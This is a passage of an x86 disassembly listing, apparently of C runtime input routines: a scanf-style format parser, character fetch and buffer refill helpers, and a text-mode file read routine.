mov [ebp+var_14], ebx
loc_41DB5B: ; CODE XREF: sub_41D797+3A4j
; sub_41D797+3B3j
cmp dword_433E7C, 1
jle short loc_41DB70
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DB7B
; ---------------------------------------------------------------------------
loc_41DB70: ; CODE XREF: sub_41D797+3CBj
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 4
loc_41DB7B: ; CODE XREF: sub_41D797+3D7j
test eax, eax
jz short loc_41DB91
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41DB91
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_41DB4C
; ---------------------------------------------------------------------------
loc_41DB91: ; CODE XREF: sub_41D797+366j
; sub_41D797+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_41E20D
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_41E19D
cmp [ebp+var_E], 0
jnz loc_41E0FE
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_435FD8
add esp, 0Ch
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DBD5: ; CODE XREF: sub_41D797+20Cj
cmp [ebp+var_20], eax
jnz short loc_41DBE4
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_41DBE4: ; CODE XREF: sub_41D797+441j
cmp [ebp+var_5], 0
jle short loc_41DBEE
mov [ebp+var_16], 1
loc_41DBEE: ; CODE XREF: sub_41D797+451j
mov edi, offset dword_436000
jmp loc_41DD03
; ---------------------------------------------------------------------------
loc_41DBF8: ; CODE XREF: sub_41D797+1FDj
mov eax, esi
sub eax, 70h
jz loc_41DEA6
sub eax, 3
jz loc_41DCF4
dec eax
dec eax
jz loc_41DEAA
sub eax, 3
jz loc_41D9E0
sub eax, 3
jz short loc_41DC46
loc_41DC22: ; CODE XREF: sub_41D797+21Bj
; sub_41D797+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_41E16D
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_41E0FE
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DC46: ; CODE XREF: sub_41D797+489j
cmp [ebp+var_5], 0
jle short loc_41DC50
mov [ebp+var_16], 1
loc_41DC50: ; CODE XREF: sub_41D797+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_41DD07
mov eax, edi
lea edi, [eax+1]
jmp loc_41DD03
; ---------------------------------------------------------------------------
loc_41DC6A: ; CODE XREF: sub_41D797+24Fj
cmp ebx, 2Bh
jnz short loc_41DC91
loc_41DC6F: ; CODE XREF: sub_41D797+259j
dec [ebp+var_C]
jnz short loc_41DC80
cmp [ebp+var_20], 0
jz short loc_41DC80
mov [ebp+var_F], 1
jmp short loc_41DC91
; ---------------------------------------------------------------------------
loc_41DC80: ; CODE XREF: sub_41D797+4DBj
; sub_41D797+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41DC91: ; CODE XREF: sub_41D797+4D6j
; sub_41D797+4E7j
cmp ebx, 30h
jnz loc_41DEDF
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_41DCDF
cmp bl, 58h
jz short loc_41DCDF
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_41DCC9
push 6Fh
loc_41DCC3: ; CODE XREF: sub_41D797+55Bj
pop esi
jmp loc_41DEDF
; ---------------------------------------------------------------------------
loc_41DCC9: ; CODE XREF: sub_41D797+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41E20D
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_41DEDC
; ---------------------------------------------------------------------------
loc_41DCDF: ; CODE XREF: sub_41D797+517j
; sub_41D797+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_41DCC3
; ---------------------------------------------------------------------------
loc_41DCF4: ; CODE XREF: sub_41D797+46Fj
cmp [ebp+var_5], 0
jle short loc_41DCFE
mov [ebp+var_16], 1
loc_41DCFE: ; CODE XREF: sub_41D797+561j
mov edi, offset dword_435FF8
loc_41DD03: ; CODE XREF: sub_41D797+45Cj
; sub_41D797+4CEj
or [ebp+var_18], 0FFh
loc_41DD07: ; CODE XREF: sub_41D797+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_417330
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_41DD2B
cmp byte ptr [edi], 5Dh
jnz short loc_41DD2B
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_41DD2E
; ---------------------------------------------------------------------------
loc_41DD2B: ; CODE XREF: sub_41D797+584j
; sub_41D797+589j
mov dl, [ebp+var_35]
loc_41DD2E: ; CODE XREF: sub_41D797+592j
; sub_41D797+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_41DD93
inc edi
cmp al, 2Dh
jnz short loc_41DD7A
test dl, dl
jz short loc_41DD7A
mov cl, [edi]
cmp cl, 5Dh
jz short loc_41DD7A
inc edi
cmp dl, cl
jnb short loc_41DD4D
mov al, cl
jmp short loc_41DD51
; ---------------------------------------------------------------------------
loc_41DD4D: ; CODE XREF: sub_41D797+5B0j
mov al, dl
mov dl, cl
loc_41DD51: ; CODE XREF: sub_41D797+5B4j
cmp dl, al
ja short loc_41DD76
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_41DD5E: ; CODE XREF: sub_41D797+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_41DD5E
loc_41DD76: ; CODE XREF: sub_41D797+5BCj
xor dl, dl
jmp short loc_41DD2E
; ---------------------------------------------------------------------------
loc_41DD7A: ; CODE XREF: sub_41D797+5A0j
; sub_41D797+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_41DD2E
; ---------------------------------------------------------------------------
loc_41DD93: ; CODE XREF: sub_41D797+59Bj
cmp byte ptr [edi], 0
jz loc_41E19D
cmp [ebp+var_3C], 7Bh
jnz short loc_41DDA5
mov [ebp+arg_4], edi
loc_41DDA5: ; CODE XREF: sub_41D797+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_41E20D
pop ecx
pop ecx
loc_41DDBC: ; CODE XREF: sub_41D797+6BCj
; sub_41D797+6C4j
cmp [ebp+var_20], 0
jz short loc_41DDD0
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_41DE6C
loc_41DDD0: ; CODE XREF: sub_41D797+629j
inc [ebp+var_4]
push edi
call sub_41E1F3
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_41DE60
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_41DE60
cmp [ebp+var_E], 0
jnz short loc_41DE58
cmp [ebp+var_16], 0
jz short loc_41DE4D
mov ecx, off_433C70
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41DE2C
inc [ebp+var_4]
push edi
call sub_41E1F3
pop ecx
mov [ebp+var_37], al
loc_41DE2C: ; CODE XREF: sub_41D797+686j
push dword_433E7C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_420E98
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_41DE50
; ---------------------------------------------------------------------------
loc_41DE4D: ; CODE XREF: sub_41D797+673j
mov [esi], al
inc esi
loc_41DE50: ; CODE XREF: sub_41D797+6B4j
mov [ebp+var_2C], esi
jmp loc_41DDBC
; ---------------------------------------------------------------------------
loc_41DE58: ; CODE XREF: sub_41D797+66Dj
inc [ebp+var_30]
jmp loc_41DDBC
; ---------------------------------------------------------------------------
loc_41DE60: ; CODE XREF: sub_41D797+649j
; sub_41D797+667j
dec [ebp+var_4]
push edi
push eax
call sub_41E20D
pop ecx
pop ecx
loc_41DE6C: ; CODE XREF: sub_41D797+633j
cmp [ebp+var_30], esi
jz loc_41E19D
cmp [ebp+var_E], 0
jnz loc_41E0FE
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_41E0FE
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_41DE9E
and word ptr [eax], 0
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DE9E: ; CODE XREF: sub_41D797+6FCj
and byte ptr [eax], 0
jmp loc_41E0FE
; ---------------------------------------------------------------------------
loc_41DEA6: ; CODE XREF: sub_41D797+466j
mov [ebp+var_D], 1
loc_41DEAA: ; CODE XREF: sub_41D797+203j
; sub_41D797+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_41DEB8
mov [ebp+var_17], 1
jmp short loc_41DEBD
; ---------------------------------------------------------------------------
loc_41DEB8: ; CODE XREF: sub_41D797+719j
cmp ebx, 2Bh
jnz short loc_41DEDF
loc_41DEBD: ; CODE XREF: sub_41D797+71Fj
dec [ebp+var_C]
jnz short loc_41DECE
cmp [ebp+var_20], 0
jz short loc_41DECE
mov [ebp+var_F], 1
jmp short loc_41DEDF
; ---------------------------------------------------------------------------
loc_41DECE: ; CODE XREF: sub_41D797+729j
; sub_41D797+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
pop ecx
mov ebx, eax
loc_41DEDC: ; CODE XREF: sub_41D797+543j
mov [ebp+var_14], ebx
loc_41DEDF: ; CODE XREF: sub_41D797+4FDj
; sub_41D797+52Dj ...
cmp [ebp+var_30], 0
jz loc_41DFF8
cmp [ebp+var_F], 0
jnz loc_41DFD6
loc_41DEF3: ; CODE XREF: sub_41D797+82Cj
cmp esi, 78h
jnz short loc_41DF47
cmp dword_433E7C, 1
jle short loc_41DF10
push 80h
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DF1D
; ---------------------------------------------------------------------------
loc_41DF10: ; CODE XREF: sub_41D797+768j
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 80h
loc_41DF1D: ; CODE XREF: sub_41D797+777j
test eax, eax
jz loc_41DFC8
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_420F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_41E1BC
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41DF9A
; ---------------------------------------------------------------------------
loc_41DF47: ; CODE XREF: sub_41D797+75Fj
cmp dword_433E7C, 1
jle short loc_41DF5C
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41DF67
; ---------------------------------------------------------------------------
loc_41DF5C: ; CODE XREF: sub_41D797+7B7j
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 4
loc_41DF67: ; CODE XREF: sub_41D797+7C3j
test eax, eax
jz short loc_41DFC8
cmp esi, 6Fh
jnz short loc_41DF85
cmp ebx, 38h
jge short loc_41DFC8
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_420F90
jmp short loc_41DF94
; ---------------------------------------------------------------------------
loc_41DF85: ; CODE XREF: sub_41D797+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_417760
loc_41DF94: ; CODE XREF: sub_41D797+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_41DF9A: ; CODE XREF: sub_41D797+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_41DFB2
dec [ebp+var_C]
jz short loc_41DFD6
loc_41DFB2: ; CODE XREF: sub_41D797+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41DEF3
; ---------------------------------------------------------------------------
loc_41DFC8: ; CODE XREF: sub_41D797+788j
; sub_41D797+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41E20D
pop ecx
pop ecx
loc_41DFD6: ; CODE XREF: sub_41D797+756j
; sub_41D797+819j
cmp [ebp+var_17], 0
jz loc_41E0BC
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_41E0BC
; ---------------------------------------------------------------------------
loc_41DFF8: ; CODE XREF: sub_41D797+74Cj
cmp [ebp+var_F], 0
jnz loc_41E0B4
loc_41E002: ; CODE XREF: sub_41D797+90Aj
cmp esi, 78h
jz short loc_41E046
cmp esi, 70h
jz short loc_41E046
cmp dword_433E7C, 1
jle short loc_41E021
push 4
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E021: ; CODE XREF: sub_41D797+87Cj
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 4
loc_41E02C: ; CODE XREF: sub_41D797+888j
test eax, eax
jz short loc_41E0A6
cmp esi, 6Fh
jnz short loc_41E03F
cmp ebx, 38h
jge short loc_41E0A6
shl edi, 3
jmp short loc_41E07E
; ---------------------------------------------------------------------------
loc_41E03F: ; CODE XREF: sub_41D797+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_41E07E
; ---------------------------------------------------------------------------
loc_41E046: ; CODE XREF: sub_41D797+86Ej
; sub_41D797+873j
cmp dword_433E7C, 1
jle short loc_41E05E
push 80h
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41E06B
; ---------------------------------------------------------------------------
loc_41E05E: ; CODE XREF: sub_41D797+8B6j
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, 80h
loc_41E06B: ; CODE XREF: sub_41D797+8C5j
test eax, eax
jz short loc_41E0A6
push ebx
shl edi, 4
call sub_41E1BC
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41E07E: ; CODE XREF: sub_41D797+8A6j
; sub_41D797+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_41E090
dec [ebp+var_C]
jz short loc_41E0B4
loc_41E090: ; CODE XREF: sub_41D797+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41E1F3
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_41E002
; ---------------------------------------------------------------------------
loc_41E0A6: ; CODE XREF: sub_41D797+897j
; sub_41D797+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_41E20D
pop ecx
pop ecx
loc_41E0B4: ; CODE XREF: sub_41D797+865j
; sub_41D797+8F7j
cmp [ebp+var_17], 0
jz short loc_41E0BC
neg edi
loc_41E0BC: ; CODE XREF: sub_41D797+843j
; sub_41D797+85Cj ...
cmp esi, 46h
jnz short loc_41E0C5
and [ebp+var_1C], 0
loc_41E0C5: ; CODE XREF: sub_41D797+928j
cmp [ebp+var_1C], 0
jz loc_41E19D
cmp [ebp+var_E], 0
jnz short loc_41E0FE
inc [ebp+var_34]
loc_41E0D8: ; CODE XREF: sub_41D797+23Bj
cmp [ebp+var_30], 0
jz short loc_41E0EE
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_41E0FE
; ---------------------------------------------------------------------------
loc_41E0EE: ; CODE XREF: sub_41D797+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_41E0FB
mov [eax], edi
jmp short loc_41E0FE
; ---------------------------------------------------------------------------
loc_41E0FB: ; CODE XREF: sub_41D797+95Ej
mov [eax], di
loc_41E0FE: ; CODE XREF: sub_41D797+241j
; sub_41D797+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_41E14B
; ---------------------------------------------------------------------------
loc_41E109: ; CODE XREF: sub_41D797+93j
inc [ebp+var_4]
push edi
call sub_41E1F3
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_41E178
mov ecx, off_433C70
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41E14B
inc [ebp+var_4]
push edi
call sub_41E1F3
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_41E186
dec [ebp+var_4]
loc_41E14B: ; CODE XREF: sub_41D797+970j
; sub_41D797+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41E161
cmp byte ptr [esi], 25h
jnz short loc_41E1A3
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_41E1A3
mov esi, eax
loc_41E161: ; CODE XREF: sub_41D797+9B8j
mov al, [esi]
test al, al
jnz loc_41D7C1
jmp short loc_41E19D
; ---------------------------------------------------------------------------
loc_41E16D: ; CODE XREF: sub_41D797+1F4j
; sub_41D797+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_41E17D
; ---------------------------------------------------------------------------
loc_41E178: ; CODE XREF: sub_41D797+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_41E17D: ; CODE XREF: sub_41D797+9DFj
call sub_41E20D
pop ecx
pop ecx
jmp short loc_41E19D
; ---------------------------------------------------------------------------
loc_41E186: ; CODE XREF: sub_41D797+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_41E20D
dec [ebp+var_4]
push edi
push ebx
call sub_41E20D
add esp, 10h
loc_41E19D: ; CODE XREF: sub_41D797+1Fj
; sub_41D797+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41E1B4
loc_41E1A3: ; CODE XREF: sub_41D797+9BDj
; sub_41D797+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_41E1B7
cmp [ebp+var_15], al
jnz short loc_41E1B7
or eax, 0FFFFFFFFh
jmp short loc_41E1B7
; ---------------------------------------------------------------------------
loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj
mov eax, [ebp+var_34]
loc_41E1B7: ; CODE XREF: sub_41D797+A11j
; sub_41D797+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D797 endp
; =============== S U B R O U T I N E =======================================
sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p
; sub_41D797+8DCp
arg_0 = dword ptr 4
cmp dword_433E7C, 1
push esi
jle short loc_41E1D6
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_41E1E5
; ---------------------------------------------------------------------------
loc_41E1D6: ; CODE XREF: sub_41E1BC+8j
mov esi, [esp+4+arg_0]
mov eax, off_433C70
mov al, [eax+esi*2]
and eax, 4
loc_41E1E5: ; CODE XREF: sub_41E1BC+18j
test eax, eax
jnz short loc_41E1EF
and esi, 0FFFFFFDFh
sub esi, 7
loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj
mov eax, esi
pop esi
retn
sub_41E1BC endp
; =============== S U B R O U T I N E =======================================
sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p
; sub_41D797+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_41E205
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_41E205: ; CODE XREF: sub_41E1F3+7j
push edx
call sub_41E248
pop ecx
retn
sub_41E1F3 endp
; =============== S U B R O U T I N E =======================================
sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp
; sub_41D797+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_41E223
push [esp+arg_4]
push [esp+4+arg_0]
call sub_420FAF
pop ecx
pop ecx
locret_41E223: ; CODE XREF: sub_41E20D+5j
retn
sub_41E20D endp
; =============== S U B R O U T I N E =======================================
sub_41E224 proc near ; CODE XREF: sub_41D797+63p
; sub_41D797+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_41E22A: ; CODE XREF: sub_41E224+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_41E1F3
mov edi, eax
push edi
call sub_420F60
pop ecx
test eax, eax
pop ecx
jnz short loc_41E22A
mov eax, edi
pop edi
pop esi
retn
sub_41E224 endp
; =============== S U B R O U T I N E =======================================
sub_41E248 proc near ; CODE XREF: sub_418A86+A9p
; sub_41900C+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41E31C
test al, 40h
jnz loc_41E31C
test al, 2
jz short loc_41E26E
or al, 20h
mov [esi+0Ch], eax
jmp loc_41E31C
; ---------------------------------------------------------------------------
loc_41E26E: ; CODE XREF: sub_41E248+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41E282
push esi
call sub_41F9D8
pop ecx
jmp short loc_41E287
; ---------------------------------------------------------------------------
loc_41E282: ; CODE XREF: sub_41E248+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41E287: ; CODE XREF: sub_41E248+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41E321
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41E30B
cmp eax, 0FFFFFFFFh
jz short loc_41E30B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41E2E0
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41E2C9
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4CECE0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41E2CE
; ---------------------------------------------------------------------------
loc_41E2C9: ; CODE XREF: sub_41E248+6Bj
mov edi, offset dword_4362F0
loc_41E2CE: ; CODE XREF: sub_41E248+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41E2E0
or dh, 20h
mov [esi+0Ch], edx
loc_41E2E0: ; CODE XREF: sub_41E248+62j
; sub_41E248+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41E2FD
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41E2FD
test ch, 4
jnz short loc_41E2FD
mov dword ptr [esi+18h], 1000h
loc_41E2FD: ; CODE XREF: sub_41E248+9Fj
; sub_41E248+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E30B: ; CODE XREF: sub_41E248+55j
; sub_41E248+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41E31C: ; CODE XREF: sub_41E248+Aj
; sub_41E248+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41E248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E321 proc near ; CODE XREF: sub_418A86+90p
; sub_41E248+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4CEDE0
jnb loc_41E4FE
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4CECE0h[eax*4]
mov eax, dword_4CECE0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41E4FE
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41E3D6
test dl, 2
jnz short loc_41E3D6
test dl, 48h
jz short loc_41E396
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41E396
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41E396: ; CODE XREF: sub_41E321+56j
; sub_41E321+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 2640000h
test eax, eax
jnz short loc_41E3E9
call near ptr 2660B07h
nop
push 5
pop ecx
cmp eax, ecx
jnz short loc_41E3D1
mov dword_4CD9B4, 9
mov dword_4CD9B8, ecx
jmp loc_41E50F
; ---------------------------------------------------------------------------
loc_41E3D1: ; CODE XREF: sub_41E321+99j
cmp eax, 6Dh
jnz short loc_41E3DD
loc_41E3D6: ; CODE XREF: sub_41E321+4Cj
; sub_41E321+51j
xor eax, eax
jmp loc_41E512
; ---------------------------------------------------------------------------
loc_41E3DD: ; CODE XREF: sub_41E321+B3j
push eax
call sub_41EF44
pop ecx
jmp loc_41E50F
; ---------------------------------------------------------------------------
loc_41E3E9: ; CODE XREF: sub_41E321+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41E4F9
test edx, edx
jz short loc_41E40E
cmp byte ptr [edi], 0Ah
jnz short loc_41E40E
or al, 4
jmp short loc_41E410
; ---------------------------------------------------------------------------
loc_41E40E: ; CODE XREF: sub_41E321+E2j
; sub_41E321+E7j
and al, 0FBh
loc_41E410: ; CODE XREF: sub_41E321+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41E4F3
loc_41E428: ; CODE XREF: sub_41E321+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41E4E3
cmp al, 0Dh
jz short loc_41E444
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41E4D5
; ---------------------------------------------------------------------------
loc_41E444: ; CODE XREF: sub_41E321+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41E462
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41E459
add [ebp+arg_8], 2
jmp short loc_41E4B7
; ---------------------------------------------------------------------------
loc_41E459: ; CODE XREF: sub_41E321+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41E4D5
; ---------------------------------------------------------------------------
loc_41E462: ; CODE XREF: sub_41E321+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 2640000h
test eax, eax
jnz short loc_41E48A
nop
call near ptr 2660B07h
test eax, eax
jnz short loc_41E4D1
loc_41E48A: ; CODE XREF: sub_41E321+15Dj
cmp [ebp+var_C], 0
jz short loc_41E4D1
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41E4AC
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41E4B7
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41E4D5
; ---------------------------------------------------------------------------
loc_41E4AC: ; CODE XREF: sub_41E321+176j
cmp edi, [ebp+arg_4]
jnz short loc_41E4BC
cmp [ebp+var_1], 0Ah
jnz short loc_41E4BC
loc_41E4B7: ; CODE XREF: sub_41E321+136j
; sub_41E321+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41E4D4
; ---------------------------------------------------------------------------
loc_41E4BC: ; CODE XREF: sub_41E321+18Ej
; sub_41E321+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41E517
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41E4D5
loc_41E4D1: ; CODE XREF: sub_41E321+167j
; sub_41E321+16Dj
mov byte ptr [edi], 0Dh
loc_41E4D4: ; CODE XREF: sub_41E321+199j
inc edi
loc_41E4D5: ; CODE XREF: sub_41E321+11Ej
; sub_41E321+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41E428
jmp short loc_41E4F3
; ---------------------------------------------------------------------------
loc_41E4E3: ; CODE XREF: sub_41E321+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41E4F3
or al, 2
mov [esi], al
loc_41E4F3: ; CODE XREF: sub_41E321+101j
; sub_41E321+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41E4F9: ; CODE XREF: sub_41E321+DAj
mov eax, [ebp+var_8]
jmp short loc_41E512
; ---------------------------------------------------------------------------
loc_41E4FE: ; CODE XREF: sub_41E321+12j
